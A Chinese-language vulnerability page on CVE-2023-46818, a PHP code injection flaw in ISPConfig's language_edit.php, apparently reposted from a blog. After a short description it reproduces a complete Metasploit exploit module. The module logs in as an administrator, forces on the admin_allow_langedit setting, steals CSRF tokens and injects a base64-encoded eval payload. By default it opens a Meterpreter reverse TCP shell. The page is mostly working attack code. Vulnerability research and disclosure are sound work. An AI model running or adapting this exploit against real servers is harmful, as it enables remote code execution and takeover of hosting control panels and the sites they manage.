ISPConfig language_editphp PHP Code Injection

漏洞信息

漏洞名称: ISPConfig language_edit.php PHP Code Injection

漏洞编号:

  • CVE: CVE-2023-46818

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: ISPConfig是一个广泛使用的开源主机控制面板,用于管理网站、电子邮件、数据库和DNS等服务。它通常部署在Linux服务器上,为系统管理员提供便捷的Web界面来管理服务器资源。此次发现的漏洞存在于ISPConfig的language_edit.php文件中,当admin_allow_langedit设置被启用时,认证的管理员可以通过语言编辑器界面注入任意PHP代码。漏洞的技术根源在于对用户输入的不当处理,导致攻击者能够注入并执行恶意PHP代码。这种漏洞允许攻击者在服务器上执行任意代码,可能导致完全控制受影响的系统。攻击者需要管理员凭证才能利用此漏洞,但一旦获得访问权限,就可以无需进一步认证即可执行代码。这为攻击者提供了极大的灵活性,可以窃取数据、安装后门或进行其他恶意活动。由于ISPConfig的广泛使用,此漏洞的影响范围可能相当广泛,特别是那些未及时更新到最新版本的系统。

产品厂商: ISPConfig

产品名称: ISPConfig

影响版本: version < 3.2.11p1

来源: https://github.com/rapid7/metasploit-framework/blob/ffdfa0795498a3f375c924d463b68833c311ab37/modules%2Fexploits%2Flinux%2Fhttp%2Fispconfig_lang_edit_php_code_injection.rb

类型: rapid7/metasploit-framework:github commit

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability in ISPConfig's
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
setting is enabled, allowing authenticated administrators to inject arbitrary
PHP code through the language editor interface.

This module will automatically check if the required `admin_allow_langedit`
permission is enabled, and attempt to enable it if it's disabled (requires
admin credentials with system configuration access).

The exploit works by injecting a PHP payload into a language file, which
is then executed when the file is accessed. The payload is base64 encoded
and written using PHP's file_put_contents function.
},
'License' => MSF_LICENSE,
'Author' => [
'syfi', # Discovery and PoC
'Egidio Romano'
],
'References' => [
['CVE', '2023-46818'],
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'Automatic PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-10-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
])
end

def check
print_status('Checking if the target is ISPConfig...')
return CheckCode::Unknown('Failed to login') unless authenticate

# Always try to log in and parse version, since credentials are required
# cookie_jar.clear (handled in exploit)
# Try to access the dashboard or settings page
settings_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
'keep_cookies' => true
})
if settings_res
doc = settings_res.get_html_document
# Try to find version in a span, div, or similar element
version_element = doc.at('//p[@class="frmTextHead"]')
if version_element
version_text = version_element.text
version = version_text.split(':')[1].gsub(' ', '')
version = Rex::Version.new(version)
if version < Rex::Version.new('3.2.11p1')
print_good("ISPConfig version detected: #{version_text}")
return CheckCode::Appears("Version: #{version_text}")
end
end
end
CheckCode::Safe
end

def authenticate
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
's_mod' => 'login'
},
'keep_cookies' => true
})
return false unless res

if res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
})
end
body_downcase = res.body.downcase.freeze
return false if body_downcase.include?('username or password wrong')

if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
print_good('Login successful!')
return true
end
print_warning('Login status unclear, attempting to continue...')
true
end

def check_langedit_permission
print_status('Checking if admin_allow_langedit is enabled...')

# Try to access the language editor to see if it's accessible
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => edit_url,
'keep_cookies' => true
})

if res&.code == 200 && res.body.include?('language_edit')
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
return true
elsif res&.code == 403
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
return false
else
print_warning('Could not determine language editor accessibility')
return false
end
end

def enable_langedit_permission
print_status('Attempting to enable admin_allow_langedit...')

# Try to access the system settings page
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => settings_url,
'keep_cookies' => true
})

unless res && res.code == 200
print_warning('Could not access system configuration page')
return false
end

doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')

unless csrf_id && csrf_key
print_warning('Could not extract CSRF tokens from system config page')
return false
end

# Try to enable the setting
enable_data = {
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'admin_allow_langedit' => '1',
'action' => 'save'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => settings_url,
'vars_post' => enable_data,
'keep_cookies' => true
})

if res&.code == 200
print_good('Successfully enabled admin_allow_langedit')
return true
else
print_warning('Failed to enable admin_allow_langedit')
return false
end
end

def inject_payload
print_status('Injecting PHP payload...')
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
b64_payload = Base64.strict_encode64(payload.encoded)
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
initial_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => initial_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
end
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
injection_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file,
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'records[\]' => injection
}
send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => injection_data,
'keep_cookies' => true
})
end

def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate

# Check if language editor permissions are enabled
unless check_langedit_permission
print_warning('admin_allow_langedit appears to be disabled')
print_status('Attempting to enable admin_allow_langedit...')

if enable_langedit_permission
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
# Re-check permissions after enabling
unless check_langedit_permission
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
end
else
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
end
end

inject_payload
end
end



ISPConfig language_editphp PHP Code Injection
http://example.com/2025/07/09/github_1781384990/
作者
lianccc
发布于
2025年7月9日
许可协议